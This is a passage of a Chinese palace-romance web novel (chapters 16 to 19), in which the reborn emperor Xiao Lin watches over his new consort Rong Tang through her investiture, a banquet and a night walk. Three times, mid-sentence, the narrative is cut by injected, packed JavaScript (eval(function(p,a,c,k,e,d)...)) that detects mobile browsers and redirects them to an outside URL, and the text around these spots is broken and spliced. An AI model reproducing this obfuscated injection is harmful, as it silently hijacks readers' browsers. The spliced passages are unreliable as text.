难怪她在祭礼上会哭得那般伤心,与那些强行挤出眼泪的朝臣完全不同;难怪她会出现在妃嫔位置上,一丝不苟地跪拜祭奠;难怪她会在萧磐面前那样直白地表明心意,又会这般义无反顾地撞棺自尽,即使气息奄奄,却依然用那样痴痴的目光望着自己的灵位......萧凛垂眸,看着少女彻底闭上了眼,心中突然一疼。她何其糊涂?竟因为深爱自己,不惜舍命也要相伴于地下。 他活了二十多岁,诸多风波变故、人情冷暖也经历得不可胜数,可这“情”之一字,却从未体会过,也不曾深思过。他不知男女之情究竟是什么样,怎样才能算是情之所钟,也不知若是深爱一人,会做出怎样的举动? 可此刻,在他死后,他好像才真正知道了这些道理。 只是,太晚了。他身为天子,却对她那炽热的心懵然不知,以至于令她年纪轻轻便香消玉殒。萧凛心中浮起一丝悔意。他想,若是有来生...... 这个念头刚转过心头,他便觉得眼前一黑,如遇上了强大的吸力一般,不受控制地向着那棺椁飘散而去。 ...... 萧凛从沉思中回神,心口剧烈一跳,如被风吹灭的烛火复又生生不息地燃了起来。他感受着身下柔软的被褥,意识到自己此刻身在人间。 自那日他在灵堂彻底“死”后,再度睁眼时却又奇迹般活了过来,回到了崇宁二年的春日。此时,草长莺飞,翠意葱茏,一切都是那样生机勃勃,充满希望。想来前世的他,应当也是迎着这样明媚的春光,踌躇满志,运筹帷幄吧? 可谁能想到,堪堪数月后,自己就会变成一缕孤魂呢? 经此一事,萧凛身居自己的寝殿——乾恩殿时,便再也无法如从前一样安然自若了。他一闭上眼,眼前便会浮现出那白布高悬、棺椁森然的凄清景象,看到那些或真心或假意的落泪之人,还有......那刺目的血红,少女的依恋与满腔爱意。 他久久无法平静。 正因如此,萧凛执意移居福宁殿。这一世,他不会再重蹈覆辙了。 但若说起重活一世后的最大变数......萧凛缓缓侧头,看向身边的人。她起初还规规矩矩地平躺着,进入梦乡后便放松了许多,侧过了身来。窗外银白的月光透过纱帐,落下温柔的微光,映着少女酣然沉睡的面庞。 纤细黛眉下,她的眼睛弯出一个柔婉的弧度,静静阖着,唇角自然舒展,呼吸均匀。萧凛的目光不由自主落向她的额头,那里光洁如玉,并无半分伤痕,更没有前世那些厚重浓稠的血迹。 他好端端地活着,她也是。 16. 礼成 容棠这一觉睡得比想象中还要安稳。她醒来时,下意识喃喃了一句:“……什么时辰了?” “娘娘醒了?”烟雨的声音在帐外响起。 娘娘?容棠睁大眼睛,这才意识到自己并不在容府的闺房,而是已经入宫了。 那么昨晚……她一下子抓紧了覆在身上的被子,转头去看身侧。那里空空如也,丝毫看不出有人来过的痕迹。 “陛……陛下呢?”容棠把床帐揭开一条缝,小声问道。 烟雨同样小声回答:“陛下寅正便已起身,嘱咐奴婢们莫要惊扰娘娘,便去上早朝了。” 容棠抱着被子有点迷糊,问道:“现在什么时辰了?” 烟雨道:“辰时二刻了。娘娘若是起身,奴婢让小厨房送膳。” 算起来这个时候朝会也该结束了,容棠点点头,打着哈欠坐起了身。 趁着她坐在妆台前,烟雨忍了忍,还是悄声问道:“娘娘,昨晚并未叫水,您和陛下是不是......” 容棠颔首,随即稀奇地看向她:“不得了,你怎么懂这么多?” 烟雨面色涨红,说道:“娘娘入宫前一晚,夫人特意把我和岚月唤去嘱咐了一番,让我们好好服侍娘娘。奴婢自然......略知一二。” 容棠闭上眼,感受着她的手指在自己发间穿梭,懒懒地道:“陛下说我昨日入宫一定劳累了,便什么都没有做,直接安寝了。” 烟雨思忖道:“这么看来,陛下对娘娘还是颇为体恤和关怀的。娘娘,您说,陛下会不会真的是因为喜欢才选了您入宫的?” 容棠觉得啼笑皆非:“可陛下从未见过我,谈何喜欢呢?” 烟雨替她绾好发髻,又插上簪子,这才道:“奴婢看那些话本子里的才子佳人都是这样的,兴许在娘娘不知晓的时候,陛下从人群里遥遥看见了您,一见倾心......” 她越说越眉飞色舞起来,容棠不得不制止她:“你也说了那是话本子,做不得数。” 烟雨道:“可娘娘不是也说过,那话本子的许多故事都是取材于事实?” 容棠一时语塞,片刻后才道:“......凡事不可一概而论。” 说话间,飞雪和浮月领着几人将早膳一样样摆好,服侍容棠用膳。用罢早膳,容棠靠在榻上发了会呆,情不自禁回想起昨晚的情形,又有些忐忑。 这还是她第一回与人同榻而眠,对方还是个男子。 她的睡相应该很文雅,应当也没有发出什么奇怪的声音或是动静吧?自己醒来时,规规矩矩拢着被子睡在床榻里侧,看起来并未在梦中横行霸道,霸占整张床。 容棠暗自放心了。 不多时,飞雪进殿禀报道:“娘娘,明日是贵妃册封礼,尚仪局的人特来向您请安,再将明日的规制和礼数讲解一遍。” 容棠抬手敲了敲额角。她险些忘了,册封礼尚未进行,她这“贵妃”还算不上名副其实,当下道:“传她们进来吧。” 大燕的贵妃身为四妃之首,册封礼自然也正式而庄重,流程极其繁琐而复杂。而容棠又是皇帝登基以来册立的首位妃子,宫中更是打起了十二分的精神,生怕出了差错。 但对容棠来说,她只需要在册封使率仪仗到达长乐宫后,拜接册妃诏书和金册金宝,而后着花钗翟衣,乘车先前往太庙聆听册文贺词,拜天地祖宗,再前往举行典礼的正阳殿参拜皇帝,最后接受群臣和命妇朝拜即可。 册封礼颇为漫长,但好在不需要她费太多心神。尚仪局的女官含笑道:“娘娘安心,明日我等会随侍左右,即便娘娘一时忘记了该如何做,我们也会及时提醒您的。” 待尚仪局的人告退后,容棠开始默默记诵明日册封礼时自己跪受金册金宝时需要说的谢恩之语。背了片刻,她只觉得口干舌燥,接过烟雨递过来的茶喝了几口。 烟雨站在一旁突发奇想:“明日娘娘行册封礼后,便是正式的贵妃,这册封礼岂不就相当于您的婚仪?那明晚陛下若是来长乐宫,岂不就是洞房花烛夜?” 容棠端着茶盏的手一颤:“......烟雨,你可真是语出惊人。” 烟雨默了默,小声道:“奴婢只是为娘娘遗憾,入了宫,连那些正儿八经的嫁娶礼节都无法一一体验。” 容棠没作声,心中却轻轻叹了口气。闺中女儿,自然也曾在独自一人时想象过来日出阁的情形。她也不例外,曾想象过自己未来的夫君会是什么模样,他会怎样意气风发地登门迎娶,用清朗的声音含笑念着催妆诗,再与自己并肩走过大红的地衣,将自己迎进新房,再握着自己的手共饮合卺酒,如此才算是礼成,结成眷侣。 可惜,这一生她注定没有这个机会了。这贵妃之礼虽隆重而正式,但在她心中,终究还是逊色的。 “不说这些了,”容棠摇摇头将那些乱七八糟的思绪赶出脑海,“我还是好好准备明日的典礼吧。” 一旁默默许久的岚月忽然开口:“册封礼后,内外命妇会依次向娘娘行道贺之礼,那岂不是……可以见到夫人?” 容棠一愣,随即眉宇间浮起喜色:“正是。” 她满脑子都是明日的礼节,竟将这么重要的事情忘了! 只可惜……容棠轻轻皱了皱眉,即使她能够见到母亲,却也只能眼睁睁瞧着她向自己行礼参拜,而没法单独和她说些体己话。 想到这里,她长叹一声道:“一入宫门深似海啊。” 烟雨下意识接了句话:“从此萧郎是路人?娘娘,您的萧郎就在宫里呢。” 容棠:“……” * 四月二十八,大吉。 一应跪拜仪式完毕,容棠前往正阳殿。此刻,群臣皆肃立殿前,尚宫局女官引着容棠拾级而上,先参拜皇帝,再与皇帝一道接受群臣贺表。 她一步步沿着汉白玉石阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827889|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走上去,纷繁华丽的裙摆逶迤在地,掠过红色氍毹。容棠微微抬头,看见皇帝站在最高处,正遥遥等着她。他长身玉立,如一棵挺拔高大的青松屹立在上,龙袍一角被风轻轻吹动,上头的刺绣泛着明晃晃的微光。 那一刻,容棠心中忽然浮起一丝异样的感觉。今日册封礼罢,她便真真正正成了大燕后宫的贵妃,余生和他交缠在一处,再不能分开。那么身为君主,皇帝又是以什么心情和态度看着她走向他的呢? 她迎着刺目的日光,想要看清男人眼中的情绪。然而他面前的十二旒垂落而下,将他的视线遮挡得严严实实。 容棠敛眉,不再多想,按照规矩很快走到了皇帝面前。她俯身拜倒,口中念诵着烂熟于心的谢恩之语,听见上首的人出声命她起身,这才盈盈站起。 此刻离得近了,她微微抬眼,正撞入萧凛幽深的目光。他正静静看着她,眼眸中流露出的情绪温然如一池静水。 容棠的呼吸微微一顿。恰在此时,赞礼官高声宣布,请陛下和贵妃接受群臣参拜恭贺。 她记得尚仪局所解释的礼仪,当下轻挪步伐,略略错身而站,立在皇帝侧后方。从她的角度,可以看见皇帝冕旒下的侧脸和他高挺的鼻梁。 她目光下落,捕捉到他微抿的唇。不知是不是被那强烈的光线晃了眼睛的缘故,容棠总觉得皇帝的唇色有点发白。 下首,群臣山呼道贺,响彻殿前。容棠却有些走神,看向了远处广袤的天。无边无际的碧蓝,日光大盛,暖暖地斜照下来,今日是个好天。自此刻之后,她的终生便和这座宫苑牢牢绑在一起,再也无法分开了。不知往后无数岁月,身边人又会如何待她?她又能否避开前世的命运呢? 容棠正自出神,忽而斜刺里一只手覆了过来,隔着她厚重的衣袖,不容拒绝地握住了她的手腕,轻轻一带。她不受控制地向前迈了一小步,身子微微一晃,两人之间原本错开的距离就这样消弭于无形,从一前一后变得并肩而立。 这点细微的动静,下首众人自然注意不到。 容棠面上浮起显而易见的错愕,下意识抬头看向他,不明白皇帝为何会这样做。按大燕礼制,唯有皇后能够在立后大典上与皇帝并肩,一起接受群臣朝拜。贵妃虽为正一品,却依然要略退半步,以示尊卑之分。 他的举动无疑是违背礼节的,然而容棠定睛看去时,却见萧凛面色如常,一丝波动也无。他的动作掩在宽大的衣袖之下,手指是凉的,但掌心却是热的,温度源源不断地传了过来。 容棠一时间愣怔在原地,试图从他的神色中分辨出意图,却无果。萧凛的表情便如他在做一件最寻常不过、最合乎规矩的事情一样,透着不容置疑。 她无法,只能定了定心神,复看向下首。既然皇帝都带头不按规矩来,她也只能乖乖顺从了,左右也怪不到她身上来。 春光晴好,帝妃并肩而立,俯瞰群臣拜服阶下。 17. 饮酒 册封礼结束,容棠回到长乐宫,在正殿接受命妇参拜,待晚间再前往正阳殿参加合宫宴会。 由于后宫无其他妃嫔,因此前来道贺的都是皇室宗亲及一定品级的官员家眷。内廷女官肃立两侧,为容棠介绍每一位的身份,飞雪则和岚月负责整理内外命妇送来的贺礼,核对礼单,一一归置。 不多时,容棠便看见了一个熟悉的身影,不由得眼眶一热。 徐翡一身严妆,一丝不苟地屈膝向她行礼。容棠下意识便想起身去搀扶,然而身畔女官低声提醒,她这才定住身形,只能怔怔望着母亲礼毕后缓步退出长乐宫。 容棠怅然若失,接下来便只是强打精神应付了。待送走前来恭贺的队伍,她正要进内寝换身衣裳,却见烟雨急匆匆进来道:“娘娘,夫人来了!” “什么?”容棠愕然,连忙迎了出去,却见徐翡正由宫女引着上前。 尚仪局的女官福了福身,笑道:“陛下听闻娘娘的母亲入宫,特意派人传了旨意,准娘娘与夫人相见叙话,待宫宴前再离宫。” 烟雨和岚月尚不觉得什么,一旁的飞雪早已露出了讶异的神情。自来大燕后妃入宫后,除却君王特别恩旨,便只有生产前才得以召娘家人入宫陪伴。若是出身官宦世家的,纵然逢年节可与家人相见,却也不过隔着重重人海,只能短暂对上一眼罢了。而能得一句破例的旨意,一向都是宠妃的待遇。 她想,娘娘果然不负贵妃之名。 容棠没有想这么多,只知自己能和母亲自在地说会话,简直是喜出望外了。她克制地吩咐:“烟雨和岚月倒茶,其他人先退下。” 屏退众人后,她抑制住心底的酸楚,轻声唤道:“娘……” 徐翡眼圈发红,握住女儿的手,上上下下打量着她。好在那层层脂粉和华服之下,女儿的眸子依旧清亮如往昔,并未有半分委屈和愀然。 “棠棠,在宫中一切都好吗?” 容棠点头:“娘放心吧,陛下……陛下待我很好。” 徐翡抬手抚了抚女儿的鬓发,道:“昨日我便一直担心,好在今日看陛下对你的态度,果然是顾念你的,甚至肯破例让娘来见你。” 听母亲这么一说,容棠才冷静了下来,发觉此事确实是皇帝格外开恩。她抿抿唇,道:“陛下确实……是个极好的人。” 不论如何,皇帝这样做总是出自一番好意,她也愿意念着他的好。 母女二人絮絮了许久,不知不觉天色已晚,宫人前来禀报,提醒贵妃该重新妆扮,去正阳殿赴宴了。 容棠心中不舍,却明白自己不能越过规矩。皇帝准许母亲陪伴自己已是破例,自己可不能真的“恃宠而骄”坏了规矩。 她站起身,挽住徐翡的手臂,道:“娘,我送您出去。” 宫中人多口杂,徐翡也无暇多言,只在她耳边低声嘱咐:“陛下待你好,但你切不可安心享受君王的恩赐而无动于衷,也得有所表示或适当推拒,让陛下明白你是晓得事理、知道感恩的人。否则,君心难测,难保不会来日生变……” 容棠明白母亲的意思,轻声道:“娘放心,我知道轻重。” 送走母亲,容棠回到内寝,由宫女服侍着重新净面上妆,待一切准备停当后,她才乘辇前往正阳殿。 正阳殿内亮如白昼,丝竹管弦之声宛转悠扬,热闹非凡。此等宫宴不外乎是歌舞献艺,觥筹交错,看久了难免腻味。容棠垂下眼,反倒对宫宴的酒菜更感兴趣一些。 今日这酒名唤“梨花春雪”,口味清甜芬芳,容棠很是喜欢,不自觉多饮了几杯。她一向酒量颇豪,即便饮了不少酒也不会轻易醉倒。 另一边,萧凛眸光淡淡,看似在欣赏歌舞,实则眼底空泛一片,面前的酒盏不多时便见了底。程良全忖度着他的神色,小心翼翼地劝道:“陛下......”却见萧凛不为所动,无奈之下只好继续为他斟满。 容棠没留神这些动静,满心只想着今日母亲的嘱咐,打定主意要去找皇帝谢恩,只是单单口头上说几句话会不会太过敷衍?她是不是该准备些其他东西一并献给他? 皇帝富有四海,妃嫔自然不会从自己宫中搜刮什么金银珠宝献给他,那就只有如那些话本子所说的一样,亲手做些吃食或是养生汤羹,既谢了恩,又表达了对陛下龙体的关怀,一举两得。 可于她而言,皇帝还是个陌生人,她也不知他的喜好,若是送去的东西不合他胃口,岂不是弄巧成拙了? 御前的人知晓他的喜好,但肯定口风最紧,若是她真的去打听了,只怕会引起皇帝怀疑。容棠不想刚一入宫、根基尚浅时便给自己惹麻烦,不由得忧愁地轻叹了口气。 她这一声叹息像一阵微风,转瞬便淹没在了殿内鼎沸的人声中,然而一旁的萧凛却似有所闻,眉毛轻轻一轩。 恰在此时,歌舞告一段落,献艺的舞姬们分别告退。下首一人便在这个间隙中站起身,举杯笑道:“臣恭贺陛下,恭贺贵妃大喜。” 今晚是家宴,没有外臣,只有皇室宗亲,而众人在看清出声的人是谁时,便不约而同止住了话头,随即纷纷起身,齐声敬酒恭贺。 那个声音落入耳中,容棠只觉得身上掠过一丝寒意。她挺直脊背,不断告诫自己不要怕,这一世她已经是贵妃,不必担心受他挟制和骚扰了。 余光瞥见萧凛笑了笑,向着萧磐举起了杯,随即将酒一饮而尽。 容棠亦举杯,向着萧磐的方向比了比手,以示见礼。她自始至终眉眼低垂,不曾分出半点目光给他,自然也没留神萧磐看清她眉眼时那一闪而过的惊艳。 她放下酒盏,偶一转头,却见程良全正眉头紧蹙,十分担心,却不得不提起酒壶,缓缓注入萧凛面前的杯盏。容棠微愕,再去看萧凛,却见他一杯接一杯地喝着,显然有些贪杯了。 程良全知道陛下的脾气,劝过一次后无甚反应便不敢再劝,可又怕陛下醉了酒龙体不适,不由得满腹愁绪。这副模样落在容棠眼中,她若有所思。 即使萧凛这个时候年富力壮,若是照他这般牛饮下去,于身体也会百害而无一利。她身为贵妃自然有劝谏之责,若是萧凛因此真的出了事,只怕满朝文武都要大力谴责她,太后也不会放过自己。到那时,自己可就不是宠妃而是妖妃了。 她心头缓缓一沉,想起白日里母亲私下与她说的话。宫外不少朝臣对皇帝驳了选秀之事颇有微词,只是碍于天威不敢多言。旁人不知其中关窍,自然认定皇帝是为了她才如此的,说不定已经给她扣上了妖妃的帽子。因此,母亲告诫她一定要谨言慎行,即便日后得宠也不能太过张扬。 这位陛下真是把她架在火上烤啊,想让她集怨于一身吗?容棠郁郁地撇了撇嘴。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他要让所有人知晓,她是他的贵妃,是如今后宫的第一人,即便他对她没有情意,也会给她足够的体面和尊重,不能让她受委屈。 但贵妃毕竟还是年岁不大的姑娘家,这宫中规矩森严,也真是难为她了。可为了避免出现前世那样惨烈的事情,他不得不下旨让她入宫,否则心中终究难安。 只是他该如何宽慰她这点细微的情绪,替她解解闷呢?萧凛有些迷茫。他从未和年轻女子这样相处过,一时间竟有些手足无措之感。 许久,他缓缓探出另一只手,安抚般在她手背上轻拍了拍。 容棠:“……” 这是在做什么? 她一时间沉默了,原本准备好的说辞哽在了喉咙里。 萧凛收回手,自认为方才的举动已经明显表达了自己的意思,然而贵妃还是呆呆地坐着。 他微蹙眉,正要偏头去看她时,却察觉到一阵温热的馨香扑面而来。 萧凛身形一顿,便看见贵妃那明艳的脸庞蓦地在眼前放大。她乌黑的发髻间有幽幽微光闪烁着,如夜空中一闪一闪的星子,随着她的动作而摇曳生姿。 她就那样凑近他,吐气如兰,轻声道:“陛下,醉酒伤身,您还是少饮几杯吧。” 满殿喧闹之中,他却唯独听见了她的声音。 18. 醒酒 萧凛素来波澜不惊的眼底浮起明显的错愕之色。 原来她叹气不单单是因为觉得烦闷,更是担忧着自己饮酒伤身,才会这样鼓起勇气劝阻。 今晚的夜宴是为了庆贺她荣登贵妃之位,但她却依旧时时刻刻念着自己,关怀着自己。 御前的人会劝,可他们尽忠的同时也心存畏惧,不敢反复啰嗦,唯恐惹恼了自己。他也确实不是个平易近人的皇帝——不过为天子者,哪里能够太过好脾气呢?因此即便宫人们再劝,他若是不想听,便也不予理会。 但是……妃嫔就不同了,特别是一个满心满眼只有自己的妃子,他自问做不到太过无情冷漠。况且,昔日她是因为自己才香消玉殒的,即便对她没有男女之情,他也不可能心中毫无触动。 更何况,他看得出来,她的劝谏完全是出自真心的。 萧凛慢慢垂眸,看着交叠在一起的两只手。他从不知道,原来女子的手心这样软,这样热,牢牢覆在自己手上。奇怪的是,他丝毫没有觉得有任何反感或是不适。 她的手指扣住自己的手掌边沿,肌肤相接的热意并不厚重,却一点点蒸腾而起,渐成燎原之势。 他能感受到她略微急促的呼吸,想来她也对君王之威心存畏惧,可还是不曾退缩,义无反顾地出声劝阻。萧凛想到这里,忍不住又看了她一眼。 她眼底波光流动,倒映着一个小小的他。大约是因为惴惴不安,她紧抿唇瓣,那抹娇嫩的嫣红因此而有些泛白。他心中不受控制地一动,恍惚从她坚决而倔强的神情中窥探出了前世的痕迹。 萧凛不懂情字何解。身为君王,他注定没有办法用同样的真心去对待她。天子若是多情,只会徒增祸患。但在不逾越规矩体统的情形下,他会满足她的一切心愿,免得辜负她的一片痴心。 想到这里,他短促地呼出一口气,很顺从地放下了酒盏。 容棠松了口气,心想陛下果然是个好人,而且是个听劝的好人。 原来娘娘是在劝陛下莫要饮酒啊......别人都是战战兢兢地用嘴皮子劝谏,她却剑走偏锋,直接动手,果然有勇有谋,干脆利落啊。程良全敬佩不已,心想贵妃果然在陛下心目中的地位不一般。只消她轻轻一句话,陛下便心甘情愿应允。他默默思量着,心中有了更多计较。 不多时,大家热闹了一番后便各自散去。萧磐却没急着走,而是特意停住步伐,行至萧凛面前关切道:“陛下今晚饮了不少酒,不如臣陪陛下在宫中散步醒醒酒吧?” 他身边立着一个约莫二十多岁的女子,闻言掩唇笑道:“哥哥不必担心,陛下一向自持,不会贪杯的。况且有贵妃在侧,自然会时刻劝着陛下的。” 她语气熟稔而亲昵,又隐含着一股身为皇亲的傲气。容棠看向她,想起白日里宫人的介绍:“丹阳长公主乃励阳王胞妹,初为郡主,后先帝破格封她为公主,陛下登基后依制尊她为长公主。长公主和王爷都极受太后喜爱,常常奉懿旨入宫陪伴太后。” 眼前的女子明艳妩媚,眉眼轮廓依稀看得出来与萧磐有几分相似,只不过少了些阴沉算计,多了几分亲和。容棠垂眸,不知这兄妹二人的秉性和品行是否截然不同? 萧磐语气殷切,萧凛却只淡淡笑了笑:“王兄多虑了,朕一切安好。时辰不早了,王兄早些回府歇息吧。” 按规矩,王爷等外男是不可在宫中留宿的,即便再晚也要尽快出宫。而如丹阳长公主等女眷虽可暂住宫中,但也须有旨意才是。 萧磐闻言,忙应道:“多谢陛下关心,臣明白宫中规矩。” 萧凛没再多言,举步便走。容棠略微迟疑了片刻,不知道自己是该跟上去,还是直接回长乐宫。 就在她犹豫的当口,原本走在前面的萧凛蓦地停住步伐,回身道:“贵妃与朕同回福宁殿。” 容棠很快反应过来,快步跟了上去。身后,丹阳长公主望着她的背影,勾唇笑道:“这位贵妃娘娘果然仙姿玉貌,娇艳动人,难怪陛下会为了她而中止了选秀之事,更是......” “行了,”萧磐漠然开口,“在宫中闲话少说,我们走吧。” 他盯着帝妃离去的背影,眸色深深,不知在想什么。 * 去往福宁殿的路上,萧凛并未传辇,只是不紧不慢走着。容棠走在他身侧,鼻中嗅到馥郁的酒香,但观他面色却是一切如常,步伐也算是稳当,应当并未醉酒。 容棠默默跟在他身侧,然而走着走着却觉得不对,这似乎并不是通往福宁殿的路。她疑惑地抬眸看向萧凛的背影,不知他要带自己去哪儿。 她试探着开口:“陛下不回福宁殿休息吗?” “在正阳殿闷了一整晚,吵得头疼,朕想四处走走。”他说着,语气是难得的慵懒,还隐约有一丝孩子般的任性。 这样的萧凛,仿佛褪去了天子的威严,变得更易接近了。容棠琢磨着他的话,问道:“原来陛下也不喜欢这种场合吗?” “也?”萧凛似乎动了动唇角,“看来,贵妃也和朕有同样的感受?” 容棠自悔失言,面色顿时一红。她这样说,陛下会不会觉得她不知好歹?毕竟这宫宴是自己册封礼的一部分。 她想要解释什么,却见萧凛毫不在意地笑了笑:“不必如此小心翼翼。朕又不是暴君。” 他极快地扫了眼容棠,语气温和:“你入宫时日尚短,这御花园应当还未曾来过。” 容棠想了想,下意识开口道:“其实臣妾来过这里,就在先前陛下的万寿宴时。不过那时没能好好逛一逛,便匆匆回席了。” 不知为何,她这话一出,身边的萧凛忽然陷入了一阵沉默。容棠不知自己说的话有何问题,略微忐忑地看向他,却见原本神情自若的皇帝陛下忽然将头转了过去,只留给她一个后脑勺。 这是怎么了?容棠摸不着头脑,正惴惴不安时,却见萧凛很快又恢复如常。 她没有发现的是他掩藏在夜色之中微微泛红的耳垂。 沿着宫道又走了片刻,眼前的视野渐渐开阔起来。容棠睁大眼睛,发觉他们走到了御花园深处的一处小楼前。这座观景楼建在太清池畔,地势较高,登上小楼便可以俯瞰整片水面。 萧凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧凛垂眸,不动声色收回欲要搀扶的手臂,颔首不语,转身继续向下走去。 离开御花园,萧凛淡淡咳嗽了一声,程良全很快会意,招手命早已候在宫道旁的宫人将御辇抬过来,容棠根本无暇开口提出自己想回宫的念头,便身不由己地坐上了前往福宁殿的坐辇。 抬辇的人步伐平稳,容棠坐在上面,发丝被夜风吹得拂过面颊,有些细微的痒意。她凝神想,萧凛命自己随侍福宁殿,难道是特意召自己过来侍寝的? 容棠顿时紧张了起来。她攥住帕子,飞快地开始回忆尚寝局女官所说的以及那本画册上的内容,正想着时,抬头看见一片光亮,已到了福宁殿门前。 她跟着萧凛迈步进了殿内。这还是她头一回来到皇帝的寝殿,克制地低垂眉眼不敢到处打量。又走了几步,她抬头,发觉正站在御书房外,深知此地不可擅入,便顿住了步伐。 萧凛走了几步,转身看了她一眼,吩咐程良全道:“送贵妃——” 话音未落,他原本平直的眉间忽而泛起一道深深的沟壑,唇角紧紧抿住。不过一瞬,他便恢复如常,只声音低沉了些:“……去玉宁堂歇息。” 虽然萧凛克制得很好,气息错乱也不过是瞬息之间的事情,但还是被一直留意着他的容棠发觉了。她心中一紧,生出几分不安,连忙走近一步,担忧道:“陛下怎么了?” 19. 睡颜 程良全很快上前,不动声色地挡住了她的视线:“陛下无碍,娘娘不必担心。玉宁堂已经着人收拾出来了,娘娘今日乏累了,请早些安寝吧。” 容棠看向萧凛,却见他很快转过身去,步伐稳健地向御书房走去,将她疑惑的目光挡在了背后。她无奈,只好随御前的内侍调转脚步,往玉宁堂走去。 玉宁堂其实就是福宁殿后殿的东耳房,一般是供后妃在此休憩的,隔成了好几间屋子,陈设物件应有尽有。容棠在外间的炕上坐下,食指揉了揉额角。 这会子静下来了,她才后知后觉闹腾了一晚上,头有些闷痛,便向着身后的软枕上仰靠了过去。烟雨上前替她揉捏着,低声问道:“娘娘,奴婢瞧陛下的意思,今晚并不会召寝。娘娘可以睡个好觉了。” 容棠不解:“既然他没有这个意思,为何要把我带来福宁殿?他明明可以让我回自己的寝宫去。” 她想了半晌也没想出个结果,索性不想了,总结道:“君心难测。” 不多时,容棠脑海中又盘旋起方才萧凛的模样,看起来似乎是突感不适,才会那样剧烈地皱了眉头。她不由得忧心忡忡地念叨着:“不应该啊......不是还有一年的辰光吗?难道他这会子就已经龙体欠安了吗?还是今晚多喝了酒,酒气上涌才会难受的?” “娘娘说什么?”烟雨没听清。 容棠摇了摇头,又托腮发了会呆,还是有些不放心。恰好程良全领着几个内侍来了玉宁堂,笑容满面地问她是否还缺什么物件。 “有劳程公公,”容棠摆了摆手,又蹙眉问道,“敢问公公,陛下他......没事吧?” 程良全笑容不变:“娘娘放心,陛下只是这几日忙于政务有些乏了。” “陛下今晚喝了许多酒,公公是否为陛下准备了醒酒汤?”容棠问道。 程良全道:“娘娘放心,陛下酒量甚豪,轻易不会醉的——” “可本宫实在不放心,”容棠摆出担忧的模样,“可否请公公差人备一碗醒酒汤送与陛下?否则陛下酒意未散便歇息的话,于龙体无益。” 程良全似乎有些疑惑地看了她一眼,随即不知想到了什么,眉头一松,说道:“奴婢记下了。” 容棠这才放心,柔婉地笑了笑道:“陛下夙兴夜寐,此刻大约是在忙于政事,本宫不愿打扰陛下,就劳烦公公了。” “娘娘客气了。”程良全说罢,便告辞离开了。 容棠倚着门,满意地看着他离开,这才转身回了屋内。 烟雨挠了挠头问道:“娘娘为何不亲自端了醒酒汤送给陛下?如此不是更显得娘娘贤良淑德吗?” “方才陛下神情异样时,这位程公公反应极快地挡住了我的视线,陛下也迅速转身离开,显然就是不愿让我看出什么来。我若是此时提出要去见陛下,未免有送醒酒汤而探听情形的嫌疑。若是让陛下觉得我别有用意,那可就得不偿失了,”容棠摸了摸下巴,觉得自己非常识大体,“不如借程公公之手,既让陛下知晓我的心意,也让他放心。” 她心事了却,便安心回了内寝,收拾停当后便一头扎进床铺睡觉了。 许是换了地方的缘故,容棠睡得有些不安稳。 迷迷糊糊之间,她觉得自己好像身处一片阔大的演武场,场上不少骏马飞驰而过,扬起漫天尘土。在达达的马蹄声中,容棠定睛一看,发觉其中一匹马上正端坐着一个熟悉的身影。 萧凛手执马鞭,正含笑同身畔的人说着什么。那人的面目极其模糊,看不清楚,但从萧凛的神情看来,他一定对那人很是信任。容棠觉得这个场景有些熟悉,下一刻,她忽然看见萧凛□□那匹原本静静停在原地的马猛地长嘶一声,马蹄高高扬起,发疯了般地横冲直撞起来。 这下变起仓促,萧凛毫无防备,忙用力攥住缰绳想要制住发狂的马。然而他身子一僵,面色急转直下,双眼一翻,手中马鞭跌落在地,人也从马背上一头栽了下来。 “陛下!”容棠从梦中惊醒,冷汗涔涔而下。守夜的烟雨听见动静,忙举着烛台进来,问道:“娘娘怎么了?” 玉宁堂的烛火又亮了起来。容棠拥被坐起身,用力闭了闭眼,轻声道:“烟雨,让人点一柱安息香。” * 御书房内,灯火通明。 程良全在外踌躇了一下,这才端着一只白玉碗盏走了进去,恭声道:“陛下,贵妃娘娘嘱咐奴婢送来醒酒汤。” 上首的人闻言抬头看了过来:“......贵妃?” “是,”程良全道,“方才奴婢去见贵妃,娘娘颇为关心陛下的身子,担心陛下酒气未散伤身子,又担心她亲自前来会搅扰陛下的公事,便将此事交托给了奴婢。”他觑着萧凛的神色,小心地把那只碗向前递了递。 萧凛手中的朱笔未放,目光悠悠落向那碗,许久才淡淡道:“放着吧。”话音一落,他复又看起了奏折。 直到福宁殿烛火熄灭,那碗醒酒汤依然静静放在原地,不曾动过。 * 第二日,容棠醒来时,还有些迷糊。她眨了眨眼,觉得浑身酸痛,好似在梦中被人殴打了一般疲惫。 “烟雨......”她有气无力地唤了一声。 外间的人听见动静,快步走进来,动作轻柔地揭开床帐:“娘娘醒了?” 烟雨小心地打量着她的脸色:“昨夜点了安息香后,娘娘睡得还安稳吗?” 容棠揉了揉额角,说道:“还好。” “娘娘既然没睡好,要不要再小睡一会?陛下去早朝了,尚未回来呢。” 容棠闭着眼,脸在被子上蹭了蹭,感受着那种柔软,挣扎了许久才坐起身:“不成。今日还要去给太后请安,不可误了时辰。” 今日是册封礼后的第二日,她身为新入宫的后宫妃嫔,理应去拜见如今后宫地位最尊贵的人。请安参拜后,就意味着太后可以将宫务彻底正式移交给她这个贵妃了。 对容棠来说,或许今日才是她入宫以来的最大挑战。 